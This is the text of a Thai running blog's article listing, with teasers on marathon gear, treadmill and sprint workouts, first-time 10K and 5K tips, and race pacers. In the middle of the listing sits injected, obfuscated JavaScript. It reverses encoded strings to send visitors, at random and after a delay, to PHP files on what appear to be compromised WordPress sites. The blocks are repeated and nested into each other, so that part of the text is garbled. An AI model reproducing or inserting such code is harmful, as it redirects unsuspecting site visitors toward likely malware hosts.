สร้าง New PB ได้ง่ายๆ ด้วย 4 เคล็ดลับเทคนิคการวิ่ง
เรามาดูกันว่า 4 สเตป วิธีง่ายๆ ที่จะช่วยให้นักวิ่ง วิ่งได้เร็วขึ้นและไกลขึ้นมีอะไรกันบ้าง.....
© 2014STEP EXTRA
Tag: Running
Marathon survival kit: มาราธอนต้องรอด กับ 9 อุปกรณ์ช่วยชีวิตนักวิ่งมาราธอน
อุปกรณ์อะไรบ้างที่ควรพกพาไประหว่างวิ่งแข่งขันมาราธอน ถ้าไม่นับอุปกรณ์บังคับอย่าง BIB และชุดเสื้อผ้ารองเท้าวิ่ง ขอแนะนำอุปกรณ์ 9 อย่างให้ลองติดกระเป๋าไป
เริ่มใหม่อีกครั้ง: เทคนิคง่ายๆ ที่จะช่วยให้คุณกลับมาวิ่งอีกครั้ง หลังช่วงหยุดยาว
เมื่อต้องหยุดวิ่งเป็นระยะเวลานาน การกลับมาวิ่งให้ได้เช่นเดิมเป็นเรื่องที่ไม่ง่ายเลย วันนี้เรามีเทคนิคง่ายๆ ที่จะช่วยให้คุณกลับมาวิ่งอีกครั้ง หลังช่วงหยุดยาว
วิ่งดี วิ่งเร็ว วิ่งเเล้วไม่เจ็บ กับ 6 ท่า Bodyweight สำหรับนักวิ่งมือใหม่
นักวิ่งมือใหม่จะได้พัฒนาความแข็งแกร่งของกล้ามเนื้อและได้ Tone ร่างกายให้ดูสมส่วน ดูมีมัดกล้ามเนื้อด้วยเมื่อปฏิบัติบ่อยๆ
4 รูปแบบการฝึกวิ่งบนลู่วิ่ง ที่จะทำให้คุณเร็ว เเข็งเเกร่งและเบริ์นไขมันได้มากขึ้น พร้อมลุยเนินเขาได้สบาย
ข้อดีของการวิ่งบนลู่วิ่ง (Treadmill) คือเราสามารถวัดผลการฝึกได้ชัดเจนเป็นบรรยากาศที่เราสามารถควบคุมทุกอย่างได้ 100%
อยากวิ่งเร็วขึ้น…ลอง Sprint workout ดูไหม
โลกแห่งการวิ่งพูดไว้ว่า “ถ้าอยากวิ่งเร็วขึ้นก็ต้องหัดวิ่งเร็ว” นั้นคือนักวิ่งที่ไม่เคยสปีดสเตปขาตัวเองให้วิ่งเร็วขึ้น ก็จะติด (ชิน) อยู่กับกับจังหวะวิ่งเดิมๆ ของตัวเอง
{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</fachry-zella-dev<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andra-461865-unsplash-350x250.jpg)
10 ทิป วิ่ง 10K ครั้งเเรกสำหรับมือใหม่
การวิ่ง 10K ครั้งแรกต้องการแผนและการเอาใจใส่มาก เป็นการวางอิฐก้อนแรกที่จะปูนพื้นฐานให้เราสามารถก้าวไปสู่ระยะทางอื่นๆ อย่างมั่นคง
10 ข้อเเนะนำสำหรับชาวออฟฟิศหัดวิ่ง 5K
สำหรับชาวออฟฟิศที่ตั้งเป้าหมายเปลี่ยนแปลงตัวเอง ต้องการก้าวสู่ปีใหม่ด้วยสุขภาพที่แข็งแรงสมบูรณ์ เราแนะนำเดินเข้าไปร้านขายรองเท้าวิ่งโดยทันที
Golden Rules สำหรับนักวิ่ง Road Runner
Golden Rules สำหรับนักวิ่ง Road Runner หลักเกณฑ์การฝึกฝนง่ายๆ สำหรับนักวิ่งเพื่อป้องกันอาการบาดเจ็บที่จะเกิดขึ้น
7 วิธีเปลี่ยนตัวเองให้ผอมเพรียวและสุขภาพดี จากการวิ่ง
ปัญหาโลกแตกของนักวิ่งคือ วิ่งมานานแล้วก็ยังไม่ผอมลงสักที ถ้าเพื่อนๆ นักวิ่งยังติดอยู่กับปัญหานี้ เรามี 7 วิธีเปลี่ยนตัวเองให้ผอมเพรียวและสุขภาพดี มาฝากกัน
13 แนวทางที่จะทำให้กลับมาสนุกกับการวิ่งอีกครั้ง
รู้สึกหมดไฟในการวิ่ง เริ่มเบื่อที่จะออกวิ่ง ทั้งนี้เราอาจจะอยู่ในสภาวะแวดล้อมเดิมๆ วิ่งคนเดียว เราไปดู 13 แนวทางที่จะทำให้การวิ่งกลับมาสนุกอีกครั้ง
สังเกตไหม…ทำไม Pacer ถึงจะต้องมี 3 คน
ช่วงหลังๆ มานี้เพื่อนๆ ได้ลองสังเกตกันไหมว่าทำไมนักวิ่ง Pacer แต่ละระยะถึงมีแค่ 3 คนเท่านั้น ถ้าเพื่อนๆ เจองานไหนที่มีนักวิ่งเพซเซอร์ จำนวน 3 คน ในแต่ละระยะ นั้นแสดงว่า ผู้จัดกำลังพัฒนาปรับปรุงงานวิ่งให้ถูกต้องตามกฎกติกา ของ IAAF ยิ่งผู้จัดงานระดับมาราธอน ยิ่งจำเป็นมากเพราะ จะมีผลต่อในการขอ ...
แนะนำ Gadget เจ๋งๆ สำหรับนักวิ่งที่งาน THE EMQUARTIER INTERNATIONAL RUNNING EXPO 2016
เริ่มต้นแล้วกับงาน THE EMQUARTIER INTERNATIONAL RUNNING EXPO 2016 ที่รวมเอานวัตกรรมและอุปกรณ์การวิ่งเด็ดๆ มาให้นักวิ่งได้สัมผัสของจริงแบบไม่เคยมีมาก่อน
Uniqlo เอาใจคนชอบกีฬา เปิดตัวคอลเลคชั่นเสื้อผ้าสำหรับออกกำลังกาย UNIQLO SPORTS
Uniqlo แบรนด์เสื้อผ้าชื่อดังจากประเทศญี่ปุ่น เปิดตัว UNIQLO SPORTS คอลเลคชั่นเสื้อผ้าชุดใหม่สำหรับคนชอบการออกกำลังกายโดยเฉพาะ
One Piece Run งานวิ่งมาราธอน สำหรับสาวกกลุ่มโจรสลัดหมวกฟาง
เห็นชื่อ One Piece Run อย่าพึ่งเข้าใจผิดว่าเป็นงานวิ่งใส่ชุดว่ายน้ำวันพีชวิ่งนะ แต่ว่าเป็นงานวิ่งในธีมของการ์ตูนชื่อดังแห่งยุค One Piece ต่างหากล่ะ
STEP EXTRA
Run more, Spin More
เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา